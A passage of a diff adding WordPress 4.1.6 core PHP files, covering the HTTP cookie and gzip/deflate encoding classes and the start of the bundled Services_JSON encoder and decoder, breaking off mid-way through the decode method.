+	 *     @type int        $port    Optional. Port. Default null.
+	 * }
+	 * @param string       $requested_url The URL which the cookie was set on, used for default $domain
+	 *                                    and $port values.
+	 */
+	public function __construct( $data, $requested_url = '' ) {
+		if ( $requested_url )
+			$arrURL = @parse_url( $requested_url );
+		if ( isset( $arrURL['host'] ) )
+			$this->domain = $arrURL['host'];
+		$this->path = isset( $arrURL['path'] ) ? $arrURL['path'] : '/';
+		if (  '/' != substr( $this->path, -1 ) )
+			$this->path = dirname( $this->path ) . '/';
+
+		if ( is_string( $data ) ) {
+			// Assume it's a header string direct from a previous request.
+			$pairs = explode( ';', $data );
+
+			// Special handling for first pair; name=value. Also be careful of "=" in value.
+			$name  = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) );
+			$value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 );
+			$this->name  = $name;
+			$this->value = urldecode( $value );
+
+			// Removes name=value from items.
+			array_shift( $pairs );
+
+			// Set everything else as a property.
+			foreach ( $pairs as $pair ) {
+				$pair = rtrim($pair);
+
+				// Handle the cookie ending in ; which results in a empty final pair.
+				if ( empty($pair) )
+					continue;
+
+				list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' );
+				$key = strtolower( trim( $key ) );
+				if ( 'expires' == $key )
+					$val = strtotime( $val );
+				$this->$key = $val;
+			}
+		} else {
+			if ( !isset( $data['name'] ) )
+				return false;
+
+			// Set properties based directly on parameters.
+			foreach ( array( 'name', 'value', 'path', 'domain', 'port' ) as $field ) {
+				if ( isset( $data[ $field ] ) )
+					$this->$field = $data[ $field ];
+			}
+
+			if ( isset( $data['expires'] ) )
+				$this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] );
+			else
+				$this->expires = null;
+		}
+	}
+
+	/**
+	 * Confirms that it's OK to send this cookie to the URL checked against.
+	 *
+	 * Decision is based on RFC 2109/2965, so look there for details on validity.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @param string $url URL you intend to send this cookie to
+	 * @return boolean true if allowed, false otherwise.
+	 */
+	public function test( $url ) {
+		if ( is_null( $this->name ) )
+			return false;
+
+		// Expires - if expired then nothing else matters.
+		if ( isset( $this->expires ) && time() > $this->expires )
+			return false;
+
+		// Get details on the URL we're thinking about sending to.
+		$url = parse_url( $url );
+		$url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' == $url['scheme'] ? 443 : 80 );
+		$url['path'] = isset( $url['path'] ) ? $url['path'] : '/';
+
+		// Values to use for comparison against the URL.
+		$path   = isset( $this->path )   ? $this->path   : '/';
+		$port   = isset( $this->port )   ? $this->port   : null;
+		$domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] );
+		if ( false === stripos( $domain, '.' ) )
+			$domain .= '.local';
+
+		// Host - very basic check that the request URL ends with the domain restriction (minus leading dot).
+		$domain = substr( $domain, 0, 1 ) == '.' ? substr( $domain, 1 ) : $domain;
+		if ( substr( $url['host'], -strlen( $domain ) ) != $domain )
+			return false;
+
+		// Port - supports "port-lists" in the format: "80,8000,8080".
+		if ( !empty( $port ) && !in_array( $url['port'], explode( ',', $port) ) )
+			return false;
+
+		// Path - request path must start with path restriction.
+		if ( substr( $url['path'], 0, strlen( $path ) ) != $path )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Convert cookie name and value back to header string.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @return string Header encoded cookie name and value.
+	 */
+	public function getHeaderValue() {
+		if ( ! isset( $this->name ) || ! isset( $this->value ) )
+			return '';
+
+		/**
+		 * Filter the header-encoded cookie value.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param string $value The cookie value.
+		 * @param string $name  The cookie name.
+		 */
+		return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name );
+	}
+
+	/**
+	 * Retrieve cookie header for usage in the rest of the WordPress HTTP API.
+	 *
+	 * @access public
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function getFullHeader() {
+		return 'Cookie: ' . $this->getHeaderValue();
+	}
+}
+
+/**
+ * Implementation for deflate and gzip transfer encodings.
+ *
+ * Includes RFC 1950, RFC 1951, and RFC 1952.
+ *
+ * @since 2.8.0
+ * @package WordPress
+ * @subpackage HTTP
+ */
+class WP_Http_Encoding {
+
+	/**
+	 * Compress raw string using the deflate format.
+	 *
+	 * Supports the RFC 1951 standard.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $raw String to compress.
+	 * @param int $level Optional, default is 9. Compression level, 9 is highest.
+	 * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports.
+	 * @return string|false False on failure.
+	 */
+	public static function compress( $raw, $level = 9, $supports = null ) {
+		return gzdeflate( $raw, $level );
+	}
+
+	/**
+	 * Decompression of deflated string.
+	 *
+	 * Will attempt to decompress using the RFC 1950 standard, and if that fails
+	 * then the RFC 1951 standard deflate will be attempted. Finally, the RFC
+	 * 1952 standard gzip decode will be attempted. If all fail, then the
+	 * original compressed string will be returned.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $compressed String to decompress.
+	 * @param int $length The optional length of the compressed data.
+	 * @return string|bool False on failure.
+	 */
+	public static function decompress( $compressed, $length = null ) {
+
+		if ( empty($compressed) )
+			return $compressed;
+
+		if ( false !== ( $decompressed = @gzinflate( $compressed ) ) )
+			return $decompressed;
+
+		if ( false !== ( $decompressed = WP_Http_Encoding::compatible_gzinflate( $compressed ) ) )
+			return $decompressed;
+
+		if ( false !== ( $decompressed = @gzuncompress( $compressed ) ) )
+			return $decompressed;
+
+		if ( function_exists('gzdecode') ) {
+			$decompressed = @gzdecode( $compressed );
+
+			if ( false !== $decompressed )
+				return $decompressed;
+		}
+
+		return $compressed;
+	}
+
+	/**
+	 * Decompression of deflated string while staying compatible with the majority of servers.
+	 *
+	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
+	 * function cannot handle out of the box. The following function has been created from
+	 * various snippets on the gzinflate() PHP documentation.
+	 *
+	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
+	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
+	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
+	 * https://core.trac.wordpress.org/ticket/18273
+	 *
+	 * @since 2.8.1
+	 * @link https://core.trac.wordpress.org/ticket/18273
+	 * @link http://au2.php.net/manual/en/function.gzinflate.php#70875
+	 * @link http://au2.php.net/manual/en/function.gzinflate.php#77336
+	 *
+	 * @param string $gzData String to decompress.
+	 * @return string|bool False on failure.
+	 */
+	public static function compatible_gzinflate($gzData) {
+
+		// Compressed data might contain a full header, if so strip it for gzinflate().
+		if ( substr($gzData, 0, 3) == "\x1f\x8b\x08" ) {
+			$i = 10;
+			$flg = ord( substr($gzData, 3, 1) );
+			if ( $flg > 0 ) {
+				if ( $flg & 4 ) {
+					list($xlen) = unpack('v', substr($gzData, $i, 2) );
+					$i = $i + 2 + $xlen;
+				}
+				if ( $flg & 8 )
+					$i = strpos($gzData, "\0", $i) + 1;
+				if ( $flg & 16 )
+					$i = strpos($gzData, "\0", $i) + 1;
+				if ( $flg & 2 )
+					$i = $i + 2;
+			}
+			$decompressed = @gzinflate( substr($gzData, $i, -8) );
+			if ( false !== $decompressed )
+				return $decompressed;
+		}
+
+		// Compressed data from java.util.zip.Deflater amongst others.
+		$decompressed = @gzinflate( substr($gzData, 2) );
+		if ( false !== $decompressed )
+			return $decompressed;
+
+		return false;
+	}
+
+	/**
+	 * What encoding types to accept and their priority values.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url
+	 * @param array  $args
+	 * @return string Types of encoding to accept.
+	 */
+	public static function accept_encoding( $url, $args ) {
+		$type = array();
+		$compression_enabled = WP_Http_Encoding::is_available();
+
+		if ( ! $args['decompress'] ) // Decompression specifically disabled.
+			$compression_enabled = false;
+		elseif ( $args['stream'] ) // Disable when streaming to file.
+			$compression_enabled = false;
+		elseif ( isset( $args['limit_response_size'] ) ) // If only partial content is being requested, we won't be able to decompress it.
+			$compression_enabled = false;
+
+		if ( $compression_enabled ) {
+			if ( function_exists( 'gzinflate' ) )
+				$type[] = 'deflate;q=1.0';
+
+			if ( function_exists( 'gzuncompress' ) )
+				$type[] = 'compress;q=0.5';
+
+			if ( function_exists( 'gzdecode' ) )
+				$type[] = 'gzip;q=0.5';
+		}
+
+		/**
+		 * Filter the allowed encoding types.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array  $type Encoding types allowed. Accepts 'gzinflate',
+		 *                     'gzuncompress', 'gzdecode'.
+		 * @param string $url  URL of the HTTP request.
+		 * @param array  $args HTTP request arguments.
+		 */
+		$type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args );
+
+		return implode(', ', $type);
+	}
+
+	/**
+	 * What encoding the content used when it was compressed to send in the headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string Content-Encoding string to send in the header.
+	 */
+	public static function content_encoding() {
+		return 'deflate';
+	}
+
+	/**
+	 * Whether the content be decoded based on the headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array|string $headers All of the available headers.
+	 * @return bool
+	 */
+	public static function should_decode($headers) {
+		if ( is_array( $headers ) ) {
+			if ( array_key_exists('content-encoding', $headers) && ! empty( $headers['content-encoding'] ) )
+				return true;
+		} else if ( is_string( $headers ) ) {
+			return ( stripos($headers, 'content-encoding:') !== false );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Whether decompression and compression are supported by the PHP version.
+	 *
+	 * Each function is tested instead of checking for the zlib extension, to
+	 * ensure that the functions all exist in the PHP version and aren't
+	 * disabled.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return bool
+	 */
+	public static function is_available() {
+		return ( function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-json.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-json.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-json.php	(revision 33402)
@@ -0,0 +1,936 @@
+<?php
+if ( ! class_exists( 'Services_JSON' ) ) :
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_USE_TO_JSON', 64);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    *                           - SERVICES_JSON_USE_TO_JSON:  call toJSON when serializing objects
+    *                                   It serializes the return value from the toJSON call rather 
+    *                                   than the object it'self,  toJSON can return associative arrays, 
+    *                                   strings or numbers, if you return an object, make sure it does
+    *                                   not have a toJSON method, otherwise an error will occur.
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+        $this->_mb_strlen            = function_exists('mb_strlen');
+        $this->_mb_convert_encoding  = function_exists('mb_convert_encoding');
+        $this->_mb_substr            = function_exists('mb_substr');
+    }
+    // private - cache the mbstring lookup results..
+    var $_mb_strlen = false;
+    var $_mb_substr = false;
+    var $_mb_convert_encoding = false;
+    
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if($this->_mb_convert_encoding) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if($this->_mb_convert_encoding) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch($this->strlen8($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format (and sends JSON Header)
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        header('Content-type: application/json');
+        return $this->encodeUnsafe($var);
+    }
+    /**
+    * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!)
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encodeUnsafe($var)
+    {
+        // see bug #16908 - regarding numeric locale printing
+        $lc = setlocale(LC_NUMERIC, 0);
+        setlocale(LC_NUMERIC, 'C');
+        $ret = $this->_encode($var);
+        setlocale(LC_NUMERIC, $lc);
+        return $ret;
+        
+    }
+    /**
+    * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format 
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function _encode($var) 
+    {
+         
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return  (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = $this->strlen8($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            if ($c+1 >= $strlen_var) {
+                                $c += 1;
+                                $ascii .= '?';
+                                break;
+                            }
+                            
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            if ($c+2 >= $strlen_var) {
+                                $c += 2;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         @ord($var{$c + 1}),
+                                         @ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            if ($c+3 >= $strlen_var) {
+                                $c += 3;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            if ($c+4 >= $strlen_var) {
+                                $c += 4;
+                                $ascii .= '?';
+                                break;
+                            }
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                        if ($c+5 >= $strlen_var) {
+                                $c += 5;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+                return  '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, '_encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+            
+                // support toJSON methods.
+                if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) {
+                    // this may end up allowing unlimited recursion
+                    // so we check the return value to make sure it's not got the same method.
+                    $recode = $var->toJSON();
+                    
+                    if (method_exists($recode, 'toJSON')) {
+                        
+                        return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                        ? 'null'
+                        : new Services_JSON_Error(get_class($var).
+                            " toJSON returned an object with a toJSON method.");
+                            
+                    }
+                    
+                    return $this->_encode( $recode );
+                } 
+                
+                $vars = get_object_vars($var);
+                
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->_encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->_encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = $this->substr8($str, 0, 1);
+                    $chrs = $this->substr8($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = $this->strlen8($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
